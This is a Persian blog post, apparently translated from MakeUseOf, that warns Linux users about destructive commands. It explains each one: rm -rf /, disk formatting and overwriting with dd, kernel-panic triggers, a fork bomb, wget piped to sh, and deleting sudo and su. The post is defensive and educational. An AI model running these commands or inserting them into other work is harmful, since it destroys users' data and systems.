سیستم عامل گنو/لینوکس و توزیع‌های مبتنی بر آن می‌توانند یک شمشیر دو لبه باشند. این شمشیر اینگونه درنظر می‌گیرد که شما می‌دانید چه می‌کنید و این آزادی را به شما می‌دهد که هر چه می‌خواهید انجام دهید، از شما سوال نمی‌پرسد و این زمانی خوب است که شما دقیقا بدانید چه می کنید، اما این را امکانپذیر میکند که در کسری از ثانیه سیستم خود را از حالت پایداری خارج و حتی نابود کنید.

فرقی ندارد یک تازه کار باشید یا یک کهنه سرباز گنو/لینوکس، شما هرگز نباید یک دستور را اجرا کنید مگر اینکه بدانید دقیقا چه کاری را انجام می‌دهد. در این پست تعدادی از مرگبارترین دستورات را مرور می‌کنیم.

حذف بازگشتی

قدرت و قابلیت گنو/لینوکس در حذف هر چیز بدون پرسش یک نعمت بزرگ است، خصوصا اگر با پیغام هایی همچون حذف فایل امکانپذیر نمی‌باشد آشنا باشید، به هر حال یکی از خطرناک ترین دستورات از همین ویژگی قدرت گرفته و به شکل زیر است:

rm -rf /

خط بالا دستور rm (حذف) را به همراه پارامتر r به معنی recursive (بازگشتی) که باعث می‌شود دستور تمام زیر دایرکتوری‌های شاخه مشخص شده را شامل شود و f که بدون پرسش فایل‌های Read Only را حذف می‌کند (force) اجرا شود. درواقع دستور بالا تمام فایل‌ها و دایرکتوری‌ها در سیستم شما را پاک می‌کند.

فرمت هارد

هرچند ترمینال بهترین دوست کاربران است اما برای کاربران تاره‌کار گنو/لینوکس گزینه قابل اعتمادی نیست، زیرا راه‌های زیادی برای از بین بردن اطلاعات به صورت تصادفی را به کاربران می‌دهد. حذف بازگشتی یکی از این راه‌ها بود. یک راه دیگر استفاده از دستوراتی مشابه دستور زیر است:

mkfs.ext4 /dev/sda

دستور فوق هارد دیسک را برای استفاده از فایل سیستم ext4 فرمت می‌کند. فرمت کردن به خودی خود یک عمل مخرب نیست اما انجام اینکار بر روی تمامی یک دیسک که شامل فایل‌ها و… میشود همه چیز را از بین برده و می‌تواند سیستم شما را در حالت غیر قابل بازگشت قرار دهد.

بازنویسی هارد دیسک

 اگر فرمت تصادفی هارد به اندازه کافی برایتان بد نیست، این امکان وجود دارد که هارد خود را با اطلاعات خام بازنویسی کنید، حداقل فرمت کردن یک عمل است که در حالت عادی استفاده میشود، اما بازنویسی هارد به نظر گزینه خوبی نمی‌آید.

command > /dev/sda

کلمه command در خط بالا را میتوان با هر دستور دیگری جایگزین کرد. علامت < باعث میشود خروجی دستور سمت چپ به فایل سمت راست هدایت و در آن نوشته شود که در این مثال خروجی بر روی کل هارد نوشته خواهد شد و اطلاعات کاربر ازبین خواهد رفت.

پاک کردن هارد دیسک

در اینجا یک روش دیگر برای از بین بردن سیستم‌ و فایل‌هایتان آمده است، این دستور هارد شما را با بیت صفر پر می‌کند. درواقع هیچ چیز بر روی هاردتان باقی نخواهد ماند.

dd if=/dev/zero of=/dev/sda

dd یک دستور سطح پایین است که برای نوشتن اطلاعات بر روی درایو های فیزیکی استفاده می‌شود، if منبع داده را مشخص میکند که در این مثال منبع /dev/zero میباشد که یک جریان نامحدود از صفر را ارائه می‌کند. of مشخص کننده مقصد این صفر ها میباشد که در این مثال /dev/sda یعنی آدرس هارد دیسک می‌باشد.

انتقال همه چیز به هیچ چیز (یک تصور اشتباه)

اگر از شنیدن دستورات و راه‌هایی که منجر به خرابی هاردتان میشود خسته شده‌اید، صبر کنید، اینجا یک مورد بسیار جالب ارائه شده است. در لینوکس یک فایل ویژه وجود دارد(/dev/null) که تمام اطلاعاتی که به سمت آن ارسال میشود را نادیده می‌گیرد. می‌توانید آن را به عنوان یک سیاه‌چاله یا کاغذ خردکن در نظر بگیرید.

mv / /dev/null

برخلاف تصور عموم، در دستور فوق mv شاخه / (روت) را به سمت سیاه‌چاله هدایت نخواهد کرد، زیرا انتقال یک دایرکتوری به فایل امکان پذیر نمی‌باشد، در ظاهر دستور فوق خطرناک به نظر میرسد اما در حقیقت اجرای این دستور امکانپذیر نمی‌باشد.

Kernel Panic

برخی اوقات یک خطای درونی مهلک که غیرقابل کنترل میباشد رخ می‌دهد و سیستم یک پیغام مشابه Blue Screen به نمایش میگذارد: Kernel Panic.

dd if=/dev/random of=/dev/port

echo 1 > /proc/sys/kernel/panic

cat /dev/port

cat /dev/zero > /dev/mem

پیچیدگی‌های دستورات فوق اهمیتی ندارد، چیزی که اهمیت دارد این است که این دستورات باعث رخ دادن Kernel Panic‌ و مجبور کردن کاربر به راه‌اندازی مجدد سیستم می شود.

بمب انشعابی

Bash در کنار اجرای دستورات توانایی اجرای توابع را دارد که نوشتن اسکریپت برای انجام وظایف سیستم به صورت خودکار را آسان می‌کند. متاسفانه توابع هم ریسک خود را دارند:

:(){:|:&};:

دستور مبهم بالا Fork Bomb یا بمب انشعابی نامیده می‌شود. که یک نوع ویژه از Kernel Panic محسوب می‌شود. این دستور یک تابع به نام : تعریف می‌کند که پس از اجرا به صورت بازگشتی دو بار خودش را صدا میزند، یک بار در Foreground و یک بار در Background.

به عبارتی دیگر هر بار که تابع اجرا شود دو Child Process ایجاد می‌کند و این Child Process ها Child Process های خودشان را ایجاد می‌کنند و این دوره به صورت نامحدود ادامه پیدا می‌کند. تنها را برای خلاصی از این حالت راه‌اندازی مجدد سیستم است.

اجرای اسکریپت از راه دور

wget محتوای یک لینک را دریافت می‌کند و میتوان برای مواردی همچون دانلود فایل‌ها مورد استفاده قرار بگیرد. به هر حال در مثال زیر یک نمونه خطرناک از بکارگیری این دستور را مشاهده می‌کنیم.

wget http://یک-آدرس-غیر-قابل-اعتماد -O- | sh

ترکیب بالا محتوای آدرس داده شده را دانلود کرده و به دستور sh ارسال می‌کند و این دستور محتوای دانلود شده را در ترمینال اجرا می‌کند. اگر url به یک اسکریپت مخرب اشاره داشته باشد سرنوشت خود را به دست این دستور سپرده اید.

غیرفعال کردن حق ریشه در اجرای دستورات

توسط دستور زیر، دو دستور مهم در لینوکس (sudo و su) حذف می‌شوند. این دو دستور به شما اجازه اجرای برنامه‌ها با دسترسی root را می‌دهند. بدون وجود این دو دستور زندگی در لینوکس سیاه و تیره خواهد بود.

rm -f /usr/bin/sudo;rm -f /bin/su

به همین دلیل است که نباید هرگز این دستور را اجرا کنید. البته عموما راه‌هایی برای بازگرداندن فایل های حذف شده وجود دارد اما بازگرداندن اطلاعات همیشه امکانپذیر و به همان راحتی که فایل ها حذف شده‌اند نمی‌باشد.

برخی از دستورات فوق نیازمند دسترسی ریشه برای اجرا می‌باشند، اما به هر حال جزو خطرناک ترین دستورات شمرده می‌شوند.

روش‌های گوناگون و مثال‌هایی دیگری مشابه دستورات فوق موجود می‌باشد. برای مثال استفاده از /dev/random به جای /dev/zero باعث می‌شود هارد به جای پر شدن با صفر با بیت های تصادفی درواقع داده بی‌ارزش  پر شود.

شما هم می‌توانید تجارب و دستورات مخربی را که ‌باید از اجرای آنها خودداری کرد را با ما و سایر دوستان در قسمت نظرات به اشتراک بگذارید.

منبع: makeuseof
ترجمه: تاکس گیک شامل ویرایش و تغییرات.

آخرین ویرایش 22/11/93